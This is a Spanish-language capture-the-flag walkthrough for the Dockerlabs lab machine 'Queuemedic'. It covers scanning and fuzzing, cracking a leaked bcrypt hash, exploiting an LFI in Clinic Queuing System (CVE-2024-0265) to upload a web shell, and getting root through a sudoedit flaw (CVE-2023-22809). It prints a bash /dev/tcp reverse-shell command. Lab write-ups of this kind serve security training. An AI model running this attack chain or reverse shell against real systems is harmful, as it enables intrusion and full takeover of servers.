Queuemedic

TAG -> Dockerlabs | CTF

Datos

  • Máquina -> Queuemedic

  • Dificultad -> Difícil

  • Creador -> b0ysie7e

Después de desplegar el Laboratorio, podemos verificar rápidamente conectividad con el contenedor de la siguiente manera:

ping -c 1 172.17.0.2 -R

Resultado

PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.073 ms
RR: 	172.17.0.1
        172.17.0.2
        172.17.0.2
	172.17.0.1

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.073/0.073/0.073/0.000 ms

Como podemos ver, ningún paquete se perdió, ademas de que mediante el TTL que es 64 podemos intuir que es un sistema Linux, ahora creamos las carpetas de trabajo con el comando mkt, luego entramos a recognition/nmap y empezamos con el siguiente escaneo:

nmap -p- --open -sSCV --min-rate 5000 -n -Pn -v -oN targeted.txt 172.17.0.2

Resultado (Contenido de targeted.txt)

El resultado de nmap nos muestra información interesante sobre la pagina web que corre en el puerto 80, vemos que hay un Login en la pagina de inicio manejado por el archivo login.php, vemos falta de cabeceras de seguridad y la versión de Apache 2.4.52, ahora podemos ir a ver la pagina web.

Si queremos más información sobre la pagina web podemos usar Whatweb.

Resultado

Donde podemos ver la redirección que se hace si no estamos Logeados.

Pagina web

Podemos apreciar una pagina de Login, también tenemos un apartado al lado izquierdo del botón de Login el cual lleva a patient_side.php, en este punto antes que nada vamos a hacer Fuzzing con FeroxBuster.

Empezamos con el siguiente escaneo.

Resultado

También se investigo el nombre Clinic Queuing System en searchsploit el cual nos arrojo un RCE, que no funciono.

Regresando al Fuzzing, vemos bastantes enlaces, pero nos llama la atención 2 lineas en particular:

El enlace http://172.17.0.2/db/clinic_queuing_db.db nos descarga un archivo, probablemente alguna información sobre una base de datos, el contenido de dicho archivo (binario) es el siguiente:

Resultado

También podemos leerlo con sqlite3 de la siguiente manera:

Resultado

Podemos ver información sensible dentro de este archivo, por ejemplo: hay un usuario llamado jessica ademas de un hash que posiblemente sean credenciales de algún lado, como el panel de Login que vimos anteriormente, intentemos descifrar ese hash:

  • Lo primero que aremos es meter la parte del hash importante en un archivo con nombre hash.txt.

  • Luego usaremos Hashid para determinar que tipo de cifrado es.

Resultado

  • La herramienta dice que lo más probable es que sea Blowfish o bcrypt así que usaremos John the Ripper para hacer fuerza bruta al hash.txt

Resultado

Como podemos ver en los resultados la contraseña es j.castro con usuario jessica, con estas credenciales podemos entrar a Clinic Queuing System.

La contraseña j.castro aunque se encuentra en la Wordlist rockyou.txt lo ideal es usar otra técnica, ya que puede tomar un poco de tiempo si usamos el rockyou.txt, por ejemplo, podemos usar username-anarchy-master, podemos aprovechar el echo de que tenemos el nombre y el apellido de un usuario legitimo, después de instalar correctamente username-anarchy podemos ejecutar el siguiente comando:

Resultado

Como vemos, username-anarchy pudo crear una combinación correcta según el nombre y el apellido del usuario en este caso UserList.txt contiene Jessica Castro.

Viendo un poco la pagina no veo nada extraño, si recordamos anteriormente haciendo Fuzzing encontramos la base de datos y un archivo zip, el cual dice ser un backup, lo descargamos y vemos que contiene la estructura interna del servidor, contiene cada archivo que compone la pagina web de Clinic Queuing System.

Anteriormente utilizando searchsploit encontramos que la pagina, era vulnerable al CVE-2024-0264, esta vulnerabilidad radicaba en que la pagina web no realizaba una debida validación del token en ./LoginRegistration.php pero en el backup vemos que esta vulnerabilidad fue parcheada ya que agregaron la siguiente linea:

Solucionando el problema de validación, searchsploit en el mismo exploit nos mostraba la vulnerabilidad CVE-2024-0265, esta vulnerabilidad radica en el siguiente pedazo de código:

Linea 82 dentro de index.php

La linea 82 representa una vulnerabilidad de inclusión de archivos locales (LFI, Local File Inclusion) porque permite a un atacante manipular el valor de $_GET['page'] para incluir archivos arbitrarios en el servidor.

El valor de $page proviene de un parámetro GET, esto significa que un atacante puede modificar la URL para controlar el contenido de $page, como resultado la pagina web intentará incluir cualquier archivo cuyo nombre coincida con la entrada proporcionada en $_GET['page'].

Por ejemplo:

Cargará patients.php. Sin embargo, un atacante podría intentar algo más peligroso:

Esto resultaría en:

Si allow_url_include está habilitado y la extensión .php no está estrictamente aplicada, un atacante podría leer archivos arbitrarios, ahora bien el exploit que nos da searchsploit es el siguiente:

Si lo analizamos podemos ver que un requisito es tener un usuario y una contraseña, lo cual ya tenemos, lógicamente tenemos que hacer uso del token para hacer las peticiones, las lineas clave son:

Esta linea comprueba la ejecución del código y esta otra linea:

Sube un archivo rce.php en la ruta actual del sitio web, así que probaremos esto, enviaremos la siguiente petición GET:

Resultado

Y efectivamente podemos ejecutar comandos en el servidor, ahora subamos el rce.php.

Resultado

El ultimo paso que nos muestra el exploit es:

Por lo tanto podemos usar el siguiente enlace:

Resultado

Ahora si podemos entablar un RCE, en mi caso usare pwncat-cs, nos pondremos en escucha de la siguiente manera:

Primero usaremos la función urlencode, debajo dejo el código de la función.

Usando /bin/bash -i >& /dev/tcp/172.17.0.1/1234 0>&1 no me funciono simplemente lo reescribo de la siguiente manera:

Resultado

En enlace quedaría de la siguiente manera:

De este modo si funciona:

Ctrl + D para entrar a la Bash, somos el usuario www-data, aunque podemos notar que hay un usuario llamado jessica, pero comete el error de reutilizar credenciales lo cual aprovechamos.

Podemos ver que este usuario puede ejecutar sudoedit de manera privilegiada, esto lo podemos saber de 2 maneras, usando el modulo de pwncat o ejecutando manualmente sudo -l:

Ahora bien, podemos ejecutar:

Resultado

Si buscamos Sudoers policy plugin version 1.9.9 encontraremos ## CVE-2023-22809 aquí explica como explotar esta vulnerabilidad y también como mitigarla, en nuestro caso lo que aremos es lo siguiente:

  • Verificamos que editor tenemos disponible, ya sea vi, vim o nano.

  • Exportamos la variable EDITOR, como se menciona en el CVE.

  • Ejecutamos sudoedit de forma privilegiada.

  • Dentro comentamos o borramos los permisos de jessica y agregamos los nuevos permisos jessica ALL=(ALL:ALL) ALL.

  • Guardamos y simplemente queda ejecutar sudo su para convertirnos en root.

PreviousDarkNextBuffered

Last updated